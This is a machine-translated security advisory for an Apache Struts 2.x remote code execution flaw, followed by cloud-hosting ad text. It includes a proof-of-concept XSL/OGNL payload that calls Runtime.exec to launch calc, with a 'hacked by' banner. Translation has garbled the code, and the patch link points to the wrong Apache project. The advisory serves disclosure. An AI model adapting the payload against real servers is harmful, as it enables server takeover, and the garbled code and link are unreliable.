Release date: 2012-03-23
Updated on: 2012-03-27
Affected Systems:
Apache Group Struts 2.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52702
Apache Struts is an open-source Web application framework for developing Java Web applications.
Apache Struts has a security vulnerability. Attackers can exploit this vulnerability to run the uploaded script code in the network server process, leading to illegal access or privilege escalation.
<* Source: voidloafer
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<? Xml version = "1.0" encoding = "UTF-8"?>
<Xsl: stylesheet xmlns: xsl = "http://www.example.com/1999/XSL/Transform"
Version = "1.0" xmlns: ognl = "ognl. Ognl">
<Xsl: template match = "/">
<Html>
<Body>
<H2> hacked by kxlzx <H2> http://www.example.com <Exp>
<Xsl: value-of select = "ognl: getvalue('@runtime@getruntime(.exe c (" calc ") ','') "/>
</Exp>
</Body>
</Html>
</Xsl: template>
</Xsl: stylesheet>
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Apache Group
------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://httpd.apache.org/
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
